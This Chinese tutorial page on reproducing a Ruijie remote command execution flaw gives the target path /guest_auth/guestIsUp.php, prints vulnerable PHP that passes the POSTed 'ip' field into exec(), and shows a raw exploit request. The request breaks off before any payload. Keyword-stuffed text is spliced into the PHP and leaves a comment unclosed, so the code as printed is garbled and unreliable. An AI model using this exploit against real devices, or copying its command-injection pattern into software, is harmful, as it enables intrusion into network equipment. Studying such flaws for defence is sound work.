zl程序教程

您现在的位置是:首页 >  其他

当前栏目

锐捷rce复现漏洞

漏洞 复现 RCE 锐捷
2023-09-11 14:19:27 时间

锐捷 rce复现,请求路径

/guest_auth/guestIsUp.php
//锐捷rce复现漏洞



锐捷rce漏洞文件

<?php
    锐捷rce复现漏洞,查询用户是否上线了
    $userip = @$_POST['ip'];
    $usermac = @$_POST['mac'];

    if (!$userip || !$usermac) {
        exit;
    }
    /* //锐捷rce复现漏洞,判断该用户是否已经放行 *
    $cmd = '/sbin/app_auth_hook.elf -f ' . $userip;
    $res = exec($cmd, $out, $status);
    /* 如果已经上线成功 */
    if (strstr($out[0], "status:1")) {
        echo 'true';
    }
?>



数据包
POST /guest_auth/guestIsUp.php HTTP/1.1
Host:
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Cookie: LOCAL_LANG_COOKIE=z